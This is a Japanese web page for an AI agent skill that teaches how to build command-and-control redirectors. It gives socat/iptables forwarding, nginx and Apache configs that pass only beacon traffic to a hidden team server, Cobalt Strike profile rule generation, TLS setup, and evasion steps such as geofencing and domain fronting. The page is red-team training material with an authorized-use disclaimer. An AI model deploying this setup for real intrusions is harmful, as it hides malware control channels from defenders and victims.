Communitygithub.com

C2リダイレクターインフラ構築 (Dumb-Pipe & フィルタリング)

nginx (proxy_pass) と Apache (mod_rewrite) を使用してダムパイプ型およびトラフィックフィルタリング型のC2リダイレクターを構築し、Malleable C2プロファイルからフィルタールールを生成、Let's EncryptでTLSを追加します。

C2リダイレクターインフラ構築 (Dumb-Pipe & フィルタリング) とは?

このスキルは、侵害後のC2通信を隠蔽・保護するためのリダイレクターインフラを構築する方法を提供します。リダイレクターとは、被害者インプラントと実際のチームサーバーの間に配置される中間ホストで、インプラントからのリクエストを検査し、正当なC2トラフィックのみを隠されたチームサーバーへプロキシし、それ以外(スキャナー、ブルーチーム、サンドボックス)は無害なデコイサイトへ転送します。このスキルでは、socat/iptablesを用いたシンプルなダムパイプ、nginxのproxy_passを用いたプロファイルベースのフィルタリングリバースプロキシ、Apache mod_rewriteの[P]フラグを用いたリダイレクターの3種類の構築方法をカバーしています。さらに、Cobalt StrikeのMalleable C2プロファイルからApache/nginxのフィルタールールを自動生成するcs2modrewriteの使用方法、Let's EncryptによるTLS終端、UA/ヘッダー検証、ジオフェンシング、CDNフロンティングなどのOPSEC対策についても解説します。本スキルは、レッドチーム演習、敵対型エミュレーション、防御研究における正規利用を前提としており、MITRE ATT&CKのT1090.002(外部プロキシ)およびT1090.004(ドメインフロンティング)に対応します。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/building-c2-redirector-infrastructure

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

C2 リダイレクター インフラストラクチャの構築

許可された使用のみ: このスキルは、許可されたレッドチーム演習、敵対型エミュレーション演習、および防御研究専用です。コマンド&コントロールインフラストラクチャは二重用途です。明示的にテストを許可されていないシステムでマルウェアを制御するためにリダイレクターを展開することは違法です。署名されたルール・オブ・エンゲージメント文書に基づく合意範囲内でのみ操作し、演習終了後はインフラストラクチャを廃棄してください。

概要

C2 リダイレクターは、被害者インプラントと実際のチームサーバーの中間に位置する中間ホストです。ビーコンはリダイレクターの公開ドメイン/IPに接続します。リダイレクターは各リクエストを検査し、正当なC2トラフィックのみを隠されたチームサーバーにプロキシするか、それ以外(スキャナー、ブルーチームアナリスト、サンドボックス)を無害なデコイサイトにリダイレクトします。これにより、チームサーバーが発見、停止、属性特定されるのを防ぎ、バックエンドを再構築することなく公開エッジをローテーションできます。この手法はMITRE ATT&CK T1090.002(プロキシ:外部プロキシ) にマッピングされます。攻撃者はC2通信を中間ノード経由でルーティングして真の送信元を隠蔽します。

リダイレクターには2種類あります。ダムパイプ(socat、iptables NAT)はポートを盲目的に転送し、分離は提供しますがフィルタリングは行いません。スマート/フィルタリングリダイレクター(nginx proxy_pass、Apache mod_rewrite の [P]、または RedWarden などの専用ツール)はHTTPリクエストを解析し、インプラントのMalleable C2プロファイルに一致するトラフィックのみを転送します(正しいURI、User-Agent、ヘッダー)。それ以外はすべて 302 で実際のWebサイトに送信します。フィルタリングロジックはC2フレームワークのトラフィックプロファイルから直接導出されるため、両者は常に同期している必要があります。cs2modrewrite などのツールは、Cobalt Strike Malleable C2プロファイルからApache/nginxのルールを自動生成します。

このスキルでは、nginxとApacheを使用したダムパイプおよびフィルタリングリダイレクターの構築、Malleableプロファイルからのフィルタールール導出、Let's EncryptによるTLSレイヤーの追加、および復元力と属性特定の低いインフラストラクチャのためのOPSEC制御(カテゴライズされたドメイン、ドメインフロンティング/CDNフロンティング、ヘッダー検証、地理的/UAフィルタリング)の適用について説明します。

使用すべきタイミング

  • ブルーチームのトリアージやドメイン停止要求に耐える必要があるレッドチームC2を立ち上げるとき。
  • 演習中に隠されたチームサーバーをインターネットに面したホストから分離するとき。
  • プロファイルに一致するリクエストのみがバックエンドに到達するようにインプラントトラフィックをフィルタリングし、スキャナーを迂回させるとき。
  • HTTP(S)リスナーにTLS終端、ドメインカテゴライゼーション、CDN/ドメインフロンティングを追加するとき。
  • 防御側が外部プロキシC2(T1090.002)の構築方法を学び、検出できるようにするため。

前提条件

  • 1つ以上の使い捨てクラウドVPSインスタンス(リダイレクターエッジ)と、別のファイアウォールで保護されたチームサーバーホスト。
  • DNSを制御可能な登録済みドメイン(できれば古く、カテゴライズされているもの)。
  • リダイレクターホストでのroot権限。WebサーバーとTLSツールをインストールします:
    # Debian/Ubuntu リダイレクター
    sudo apt update
    sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git
    # mod_rewrite リダイレクターを使用する場合、Apacheプロキシモジュールを有効化
    sudo a2enmod rewrite proxy proxy_http ssl headers
    
  • URI、User-Agent、ヘッダーを定義するC2フレームワークのMalleable C2プロファイル(Cobalt Strike .profile、Sliver/Havoc HTTPプロファイル)。
  • Cobalt Strikeプロファイルからルールを自動生成する cs2modrewrite:
    git clone https://github.com/threatexpress/cs2modrewrite
    
  • C2ポートでリダイレクターの送信元IPのみを受け入れるようにチームサーバーをファイアウォールで保護します。

目標

  • 高速ポート分離のためのダムパイプリダイレクター(socat/iptables)を展開する。
  • Malleableプロファイルに基づくフィルタリングnginxリバースプロキシリダイレクターを展開する。
  • [P] プロキシと 302 デコイフォールバック付きのApache mod_rewrite リダイレクターを展開する。
  • cs2modrewrite を使用してCobalt Strikeプロファイルからリダイレクタールールを自動生成する。
  • Let's EncryptでTLSを終端し、公開エッジを強化する。
  • OPSECを適用する:ヘッダー/UA検証、地理的フィルタリング、デコイによる迂回、インフラローテーション。

MITRE ATT&CK マッピング

テクニックID正式名称関連性
T1090.002プロキシ:外部プロキシリダイレクターはC2をプロキシしてチームサーバーを隠す外部仲介者
T1090.004プロキシ:ドメインフロンティングCDNフロンティングはビーコントラフィックを信頼できる高評価ドメイン経由でルーティング
T1071.001アプリケーション層プロトコル:WebプロトコルC2はMalleableプロファイルで形成されたHTTP/HTTPS上でトンネリングされる
T1573.002暗号化チャネル:非対称暗号リダイレクターでのTLS終端がビーコンチャネルを暗号化
T1583.006インフラストラクチャの取得:Webサービス復元力のあるC2のために使い捨てVPS/CDNエッジを取得

ワークフロー

1. ラボ環境とチームサーバーのファイアウォール設定

チームサーバーをプライベートホストに配置します。C2ポートへのアクセスをリダイレクターのIPのみに制限します。

# チームサーバー上:リダイレクター(203.0.113.10)のみが443/tcpにアクセス可能
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable

2. ダムパイプリダイレクター(socat / iptables)

フィルタリングなしの迅速な分離のために、C2ポートをチームサーバーに転送します。

# socat フォアグラウンド転送 443 -> チームサーバー
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443

# または iptables DNAT(永続的)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE

3. フィルタリング nginx リバースプロキシリダイレクター

Malleableプロファイルに一致するURIのリクエストのみをプロキシし、それ以外は 302 でデコイに送信します。ロケーション正規表現とUser-Agentをプロファイルの値で置き換えてください。

# /etc/nginx/sites-available/redirector.conf
server {
    listen 443 ssl;
    server_name cdn.example.com;

    ssl_certificate     /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;

    # C2のURIに一致するもののみを隠されたチームサーバーにプロキシ
    location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
        # インプラントの正確なUser-Agentを要求
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
            return 302 https://www.legitimate-decoy.com/;
        }
        proxy_pass https://10.0.0.2;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    # それ以外 -> 無害なデコイ
    location / {
        return 302 https://www.legitimate-decoy.com/;
    }
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx

4. Apache mod_rewrite リダイレクター

Apacheの [P] フラグは一致するリクエストをチームサーバーにプロキシし、一致しないものは 302 リダイレクトします。これは cs2modrewrite が生成する形式です。

# /etc/apache2/sites-available/redirector.conf (<VirtualHost *:443> 内)
RewriteEngine On
SSLProxyEngine On
# インプラントのUser-Agentを要求
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Malleableプロファイルからの有効なC2 URI(GET/POST/stager)に一致
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# 隠されたチームサーバーにプロキシ、URIを保持
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# それ以外 -> デコイサイト
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2

5. Malleableプロファイルからルールを生成する

cs2modrewrite を使用して、Cobalt Strikeプロファイルから直接Apacheまたはnginxのルールを生成し、フィルターがビーコントラフィックに正確に一致するようにします。

cd cs2modrewrite
# Apache mod_rewrite ルール
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx 設定
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf

6. Let's Encrypt で TLS を終端する

有効な証明書を発行して、ビーコンHTTPSがTLS警告を出さず、エッジが正規のものに見えるようにします。

sudo certbot --nginx -d cdn.example.com --agree-tos -m [email protected] --redirect
# 自動更新の確認
sudo certbot renew --dry-run

7. OPSEC 制御を適用する

ブルーチームの分析に対する防御層を追加します:ヘッダー検証、対象国へのジオフェンシング、サンドボックスの迂回、エッジのローテーション。サポートされている場合はCDN/ドメインフロンティング(T1090.004)を検討します。

# 例:ipset/GeoIPでファイアウォールレベルで対象外の地理的領域をドロップ、
# プロファイルでカスタム認証ヘッダーを要求、リダイレクタードメイン/IPを定期的にローテーション。
# リダイレクターが一致するトラフィックのみを転送していることを確認:
curl -k https://cdn.example.com/                       # 302 でデコイへリダイレクトされることを期待
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  https://cdn.example.com/api/v2/jobs                  # プロキシされた応答を期待

ツールとリソース

ツール目的ソース
nginxフィルタリングリバースプロキシリダイレクターhttps://nginx.org/
Apache mod_rewrite[P] プロキシ + 302 デコイリダイレクターhttps://httpd.apache.org/docs/current/mod/mod_rewrite.html
cs2modrewriteCSプロファイルからApache/nginxルールを生成https://github.com/threatexpress/cs2modrewrite
RedWardenMalleable対応フィルタリングC2リバースプロキシhttps://github.com/mgeeky/RedWarden
redi自動化nginx + Let's Encrypt CSリダイレクターhttps://github.com/taherio/redi
socatダムパイプTCPフォワーダーhttp://www.dest-unreach.org/socat/
Let's Encrypt / certbot無料TLS証明書https://certbot.eff.org/
ired.teamレッドチームインフラリファレンスhttps://www.ired.team/offensive-security/red-team-infrastructure

検証基準

  • チームサーバーがC2ポートでリダイレクターの送信元IPのみを受け入れるようにファイアウォール設定されている。
  • リダイレクターが展開されている(ダムパイプおよび/またはフィルタリングリバースプロキシ)。
  • フィルタールールが実際のMalleable C2プロファイル(URI + User-Agent + ヘッダー)から導出されている。
  • 非一致リクエストが 302 で無害なデコイサイトにリダイレクトされる(curlで確認)。
  • 一致するビーコンリクエストが隠されたチームサーバーにプロキシされる(curlで確認)。
  • 有効なTLS証明書が発行され、自動更新が確認されている。
  • OPSEC制御が適用されている(UA/ヘッダー検証、ジオフェンシング、デコイによる迂回)。
  • ドメインカテゴライゼーション/CDNフロンティングが該当する場合に検討されている。
  • インフラストラクチャのローテーションと廃棄計画が文書化されている。
  • すべての活動が許可された演習範囲内に限定されている。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

関連スキル